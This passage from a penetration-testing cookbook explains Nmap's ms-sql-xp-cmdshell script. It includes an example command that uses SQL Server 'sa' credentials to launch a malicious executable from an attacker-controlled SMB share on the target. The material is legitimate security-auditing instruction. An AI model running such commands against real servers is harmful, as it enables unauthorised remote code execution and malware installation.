Nmap: Network Exploration and Security Auditing Cookbook - Second Edition

There's more...

By default, ms-sql-xp-cmdshell will attempt to run the command ipconfig /all, but you can specify a different one using the script argument ms-sql-xp-cmdshell.cmd:

$ nmap --script-args 'ms-sql-xp-cmdshell.cmd="<command>",mssql.username="<user>",mssql.password=""' --script ms-sql-xp-cmdshell -p1433 <target> 

For example, we could abuse this feature to execute a malicious executable hosted in a shared SMB folder we control:

$ nmap --script-args 'ms-sql-xp-cmdshell.cmd="start \\192.168.1.10\shared\updater.exe",mssql.username=sa,mssql.password=karate' --script ms-sql-xp-cmdshell -p1433 <target>  

If the server does not have the xp_cmdshell procedure enabled, you should see the following message:

   | ms-sql-xp-cmdshell:   | (Use ...